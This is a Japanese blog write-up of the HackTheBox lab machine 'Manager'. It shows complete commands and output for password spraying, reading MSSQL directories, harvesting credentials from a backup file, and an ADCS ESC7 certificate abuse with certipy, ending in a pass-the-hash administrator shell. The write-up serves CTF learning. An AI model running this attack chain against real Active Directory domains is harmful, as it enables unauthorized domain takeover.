今回は、HackTheBoxのMediumマシン「Manager」のWriteUpです!
名前からは特に脆弱性は連想されませんが、一体どのようなマシンなのでしょうか!
OS は Windows ですね。最近 Windows マシンが多いような気がします。
グラフは、難易度通りのような感じですね。評価は高いので期待できます!
HackTheBoxってなに?という方はこちらの記事を見てみてください。一緒にハッキングしましょう!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Manager
侵入
それでは、ポートスキャンを行います。
$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.236 -oN nmap.log
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Manager
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2023-12-31 14:59:02Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
1433/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2023-12-31T15:00:40+00:00; +7h00m00s from scanner time.
| ms-sql-info:
| 10.10.11.236:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.10.11.236:1433:
| Target_Name: MANAGER
| NetBIOS_Domain_Name: MANAGER
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: manager.htb
| DNS_Computer_Name: dc01.manager.htb
| DNS_Tree_Name: manager.htb
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-12-31T14:54:44
| Not valid after: 2053-12-31T14:54:44
| MD5: 897c:826b:3d31:683c:c1a0:a9e1:3957:0ba2
|_SHA-1: 63ec:aa10:eb53:bab1:1af5:9e02:eed6:2ef9:9764:aa70
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-12-31T15:00:40+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Issuer: commonName=manager-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-07-30T13:51:28
| Not valid after: 2024-07-29T13:51:28
| MD5: 8f4d:67bc:2117:e4d5:43e9:76bd:1212:b562
|_SHA-1: 6779:9506:0167:b030:ce92:6a31:f81c:0800:1c0e:29fb
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Issuer: commonName=manager-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-07-30T13:51:28
| Not valid after: 2024-07-29T13:51:28
| MD5: 8f4d:67bc:2117:e4d5:43e9:76bd:1212:b562
|_SHA-1: 6779:9506:0167:b030:ce92:6a31:f81c:0800:1c0e:29fb
|_ssl-date: 2023-12-31T15:00:38+00:00; +7h00m00s from scanner time.
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49673/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49675/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49687/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49789/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Windowsマシンらしく多くのポートが確認できました。1433番がオープンしているのは珍しく感じます。
SMBが確認できたので、とりあえず共有を確認してみました。
$ smbclient -L //10.10.11.236/ -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
特に怪しい共有は見つかりません。
では次に、ブラウザで80番へアクセスしてみましょう。
なんのサービスかはよくわかりませんが、サイトへアクセスできました。
いくつか遷移を確認してみましたが、面白そうなものはありません。ディレクトリ探索も試みましたが、新たな発見には至りませんでした。
次に私が試したことは、crackmapexec に --rid-brute
を指定し、ユーザを列挙することです。ユーザは、anonymous。パスワードは無しで実行してみます。
$ crackmapexec smb 10.10.11.236 -u anonymous -p "" --rid-brute 10000
SMB 10.10.11.236 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.236 445 DC01 [+] manager.htb\anonymous:
SMB 10.10.11.236 445 DC01 [+] Brute forcing RIDs
SMB 10.10.11.236 445 DC01 498: MANAGER\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.236 445 DC01 500: MANAGER\Administrator (SidTypeUser)
SMB 10.10.11.236 445 DC01 501: MANAGER\Guest (SidTypeUser)
SMB 10.10.11.236 445 DC01 502: MANAGER\krbtgt (SidTypeUser)
SMB 10.10.11.236 445 DC01 512: MANAGER\Domain Admins (SidTypeGroup)
SMB 10.10.11.236 445 DC01 513: MANAGER\Domain Users (SidTypeGroup)
SMB 10.10.11.236 445 DC01 514: MANAGER\Domain Guests (SidTypeGroup)
SMB 10.10.11.236 445 DC01 515: MANAGER\Domain Computers (SidTypeGroup)
SMB 10.10.11.236 445 DC01 516: MANAGER\Domain Controllers (SidTypeGroup)
SMB 10.10.11.236 445 DC01 517: MANAGER\Cert Publishers (SidTypeAlias)
SMB 10.10.11.236 445 DC01 518: MANAGER\Schema Admins (SidTypeGroup)
SMB 10.10.11.236 445 DC01 519: MANAGER\Enterprise Admins (SidTypeGroup)
SMB 10.10.11.236 445 DC01 520: MANAGER\Group Policy Creator Owners (SidTypeGroup)
SMB 10.10.11.236 445 DC01 521: MANAGER\Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.236 445 DC01 522: MANAGER\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.10.11.236 445 DC01 525: MANAGER\Protected Users (SidTypeGroup)
SMB 10.10.11.236 445 DC01 526: MANAGER\Key Admins (SidTypeGroup)
SMB 10.10.11.236 445 DC01 527: MANAGER\Enterprise Key Admins (SidTypeGroup)
SMB 10.10.11.236 445 DC01 553: MANAGER\RAS and IAS Servers (SidTypeAlias)
SMB 10.10.11.236 445 DC01 571: MANAGER\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.236 445 DC01 572: MANAGER\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.236 445 DC01 1000: MANAGER\DC01$ (SidTypeUser)
SMB 10.10.11.236 445 DC01 1101: MANAGER\DnsAdmins (SidTypeAlias)
SMB 10.10.11.236 445 DC01 1102: MANAGER\DnsUpdateProxy (SidTypeGroup)
SMB 10.10.11.236 445 DC01 1103: MANAGER\SQLServer2005SQLBrowserUser$DC01 (SidTypeAlias)
SMB 10.10.11.236 445 DC01 1113: MANAGER\Zhong (SidTypeUser)
SMB 10.10.11.236 445 DC01 1114: MANAGER\Cheng (SidTypeUser)
SMB 10.10.11.236 445 DC01 1115: MANAGER\Ryan (SidTypeUser)
SMB 10.10.11.236 445 DC01 1116: MANAGER\Raven (SidTypeUser)
SMB 10.10.11.236 445 DC01 1117: MANAGER\JinWoo (SidTypeUser)
SMB 10.10.11.236 445 DC01 1118: MANAGER\ChinHae (SidTypeUser)
SMB 10.10.11.236 445 DC01 1119: MANAGER\Operator (SidTypeUser)
ユーザやグループを発見することができました。
出力の中から、ユーザのみをテキストファイルに保存し、総当たりによる認証情報の取得を目指します。
問題は、パスワードに何を指定するかですが、特に指定できる文字列も見つかっていないので、とりあえずユーザ名と同じファイルを使用します。
$ crackmapexec smb 10.10.11.236 -u users.txt -p users.txt
SMB 10.10.11.236 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.236 445 DC01 [-] manager.htb\Zhong:Zhong STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\Zhong:Cheng STATUS_LOGON_FAILURE
... 略 ...
SMB 10.10.11.236 445 DC01 [-] manager.htb\Operator:ChinHae STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\Operator:Operator STATUS_LOGON_FAILURE
総当たり攻撃でも、認証情報を取得することができませんでした。総当たりは間違ったアプローチなのでしょうか。
今回、使用したユーザ名とパスワードは先頭が大文字になっています。ADの認証では、小文字と大文字が区別されるので、ダメもとで先頭を小文字に変更し、再度総当たりを試してみましょう。
$ crackmapexec smb 10.10.11.236 -u users.txt -p users.txt
SMB 10.10.11.236 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.236 445 DC01 [-] manager.htb\zhong:zhong STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\zhong:cheng STATUS_LOGON_FAILURE
... 略 ...
SMB 10.10.11.236 445 DC01 [-] manager.htb\operator:chinhae STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [+] manager.htb\operator:operator
なんと!operator/operator
で認証が成功しました!
正直、総当たり攻撃が初動というのは珍しすぎたのでびっくりしましたが、これで次に進めそうです。
MSSQL
共有に関しては、興味深いものはなかったので、あと認証を活かせる場所としては MSSQL ぐらいです。実際にアクセスできるか試してみましょう。
$ impacket-mssqlclient -p 1433 manager.htb/operator@10.10.11.236 -windows-auth
Impacket v0.11.0 - Copyright 2023 Fortra
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (MANAGER\Operator guest@master)>
認証に成功しました!
まずはコマンドを実行する権限があるかどうか確認していきましょう。
SQL (MANAGER\Operator guest@master)> xp_cmdshell whoami
[-] ERROR(DC01\SQLEXPRESS): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
コマンドを実行する権限はないようです。
次はディレクトリを読み取ることができるかどうか試していきます。
SQL (MANAGER\Operator guest@master)> xp_dirtree C:\inetpub\wwwroot\
subdirectory depth file
------------------------------- ----- ----
about.html 1 1
contact.html 1 1
css 1 0
images 1 0
index.html 1 1
js 1 0
service.html 1 1
web.config 1 1
website-backup-27-07-23-old.zip 1 1
読み取ることができました!
また、web.config
とwebsite-backup-27-07-23-old.zip
が存在することがわかりました。アクセスしてみると、web.config
はブラウザ上で表示することはできませんでしたが、zipファイルをダウンロードすることに成功しました。
$ wget http://10.10.11.236/website-backup-27-07-23-old.zip
--2023-12-31 18:56:40-- http://10.10.11.236/website-backup-27-07-23-old.zip
Connecting to 10.10.11.236:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1045328 (1021K) [application/x-zip-compressed]
Saving to: ‘website-backup-27-07-23-old.zip’
website-backup-27-07-23-old.zip 100%[=================================================================================================>] 1021K 838KB/s in 1.2s
2023-12-31 18:56:41 (838 KB/s) - ‘website-backup-27-07-23-old.zip’ saved [1045328/1045328]
解凍してみます。出力は一部省略しています。
$ unzip website-backup-27-07-23-old.zip
Archive: website-backup-27-07-23-old.zip
inflating: .old-conf.xml
inflating: about.html
inflating: contact.html
inflating: css/bootstrap.css
inflating: css/responsive.css
inflating: images/about-img.png
extracting: images/s-1.png
extracting: images/s-2.png
extracting: images/s-3.png
extracting: images/s-4.png
extracting: images/search-icon.png
inflating: index.html
inflating: js/bootstrap.js
inflating: js/jquery-3.4.1.min.js
inflating: service.html
サイトで使用されていそうなファイルの中に、明らかに気になる .old-conf.xml
ファイルが存在しています。中身をみてみましょう。
$ cat .old-conf.xml
<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<server>
<host>dc01.manager.htb</host>
<open-port enabled="true">389</open-port>
<secure-port enabled="false">0</secure-port>
<search-base>dc=manager,dc=htb</search-base>
<server-type>microsoft</server-type>
<access-user>
<user>raven@manager.htb</user>
<password>R4v3nBe5tD3veloP3r!123</password>
</access-user>
<uid-attribute>cn</uid-attribute>
</server>
<search type="full">
<dir-list>
<dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir>
</dir-list>
</search>
</ldap-conf>
raven
の認証情報を取得できました!
シェルが取得できるか試してみましょう。
raven としてのシェル
それでは、winrm
を実行しましょう。
$ evil-winrm -i 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Raven\Documents> whoami
manager\raven
シェルの取得に成功しました!
*Evil-WinRM* PS C:\Users\Raven\Desktop> dir
Directory: C:\Users\Raven\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 12/31/2023 6:55 AM 34 user.txt
フラグも取得することができました。
権限昇格
それでは、権限昇格を目指していきましょう。
いつものようにユーザの権限を確認していきます。
*Evil-WinRM* PS C:\Users\Raven\Desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeMachineAccountPrivilege
が有効であることがわかりました。この権限は、コンピュータアカウントを新規に作成できる権限です。
次に、グループを確認してみましょう。
*Evil-WinRM* PS C:\Users\Raven\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
Certificate Service DCOM Access
グループに所属していることが分かりました。証明書関連がアツそうなので、証明書に脆弱性がないかどうかを確認してみましょう。
certipy-ad
を実行し、証明書の情報を取得します。
$ certipy-ad find -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA
[*] Got CA configuration for 'manager-DC01-CA'
[*] Saved BloodHound data to '20231231202747_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231231202747_Certipy.txt'
[*] Saved JSON output to '20231231202747_Certipy.json'
作成されたテキストファイルを開きます。
$ cat 20231231202747_Certipy.txt
Certificate Authorities
0
CA Name : manager-DC01-CA
DNS Name : dc01.manager.htb
Certificate Subject : CN=manager-DC01-CA, DC=manager, DC=htb
Certificate Serial Number : 5150CE6EC048749448C7390A52F264BB
Certificate Validity Start : 2023-07-27 10:21:05+00:00
Certificate Validity End : 2122-07-27 10:31:04+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : MANAGER.HTB\Administrators
Access Rights
Enroll : MANAGER.HTB\Operator
MANAGER.HTB\Authenticated Users
MANAGER.HTB\Raven
ManageCertificates : MANAGER.HTB\Administrators
MANAGER.HTB\Domain Admins
MANAGER.HTB\Enterprise Admins
ManageCa : MANAGER.HTB\Administrators
MANAGER.HTB\Domain Admins
MANAGER.HTB\Enterprise Admins
MANAGER.HTB\Raven
[!] Vulnerabilities
ESC7 : 'MANAGER.HTB\\Raven' has dangerous permissions
すると、ESC7攻撃に対して脆弱であることが分かりました!
ADCS
ESC7に関しては、HackTricksでもまとめられており、手順を辿るだけで権限昇格が出来そうです。
それでは、実際に攻撃していきましょう。と、その前に時刻を同期させておきましょう。
$ sudo rdate -n 10.10.11.236
同期が完了したら、今度こそ攻撃開始です。
まずは、ユーザを新たに追加し、アクセス権限を付与します。
$ certipy-ad ca -ca 'manager-DC01-CA' -add-officer raven -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'Raven' on 'manager-DC01-CA'
うまく行ったようです。
次は、SubCA
テンプレートを有効にします。
$ certipy-ad ca -ca 'manager-DC01-CA' -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -enable-template 'SubCA'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'manager-DC01-CA'
こちらもうまく行きました。
では、有効化したテンプレートを使用し、証明書を要求しましょう。
$ certipy-ad req -ca 'manager-DC01-CA' -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -target 10.10.11.236 -template 'SubCA' -upn 'administrator@manager.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] Failed to resolve: MANAGER.HTB
[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 13
Would you like to save the private key? (y/N) y
[*] Saved private key to 13.key
[-] Failed to request certificate
失敗しますが、これは想定通りの結果です。
ここで大事になってくるのはリクエストIDです。リクエストIDを使用し、再度証明書のリクエストを送信します。
$ certipy-ad ca -ca 'manager-DC01-CA' -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -issue-request 13
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
成功しました。
あとは、発行された証明書を受け取るだけです。
$ certipy-ad req -ca 'manager-DC01-CA' -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -target 10.10.11.236 -retrieve 13
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Rerieving certificate with ID 13
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Certificate has no object SID
[*] Loaded private key from '13.key'
[*] Saved certificate and private key to 'administrator.pfx'
受け取ることができました!
この証明書を使用し、認証を行いましょう。
$ certipy-ad auth -pfx administrator.pfx -username 'administrator' -domain 'manager.htb' -dc-ip 10.10.11.236
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef
ハッシュゲットです!
administrator としてのシェル
それでは、administratorとしてのシェルを取得しましょう!
$ evil-winrm -i 10.10.11.236 -u administrator -H 'ae5064c2f62317332c88629e025924ef'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
manager\administrator
権限昇格達成です!!!
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 12/31/2023 10:19 AM 34 root.txt
フラグも無事取得し、完全攻略達成です!
攻略を終えて
なんとか無事攻略することができましたが、証明書関係の権限昇格は何回やっても難しいなと感じます。深くまで理解することができていないことが原因だと思うので、もっと深掘りして証明書の仕組みをマスターしていきたいです。
HackTheBoxメタから総当たりはないだろうということで、最後まで総当たりを試さなかったので初動はかなり時間がかかりました。。。今後は総当たりも視野に入れて攻略を進めていく必要がありそうです。
今回は、認証情報が脆弱であることから権限昇格までつながりました。パスワードの要件がいろいろと変わっていっているこの頃ですが、どのような要件になったとしても強固なパスワードを設定することが攻撃者にとって厄介であることは変わらないと思います。パスワード管理の重要性を積極的に発信していきたいです。
今後もHackTheBoxのWriteUpを公開していくので、みていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました!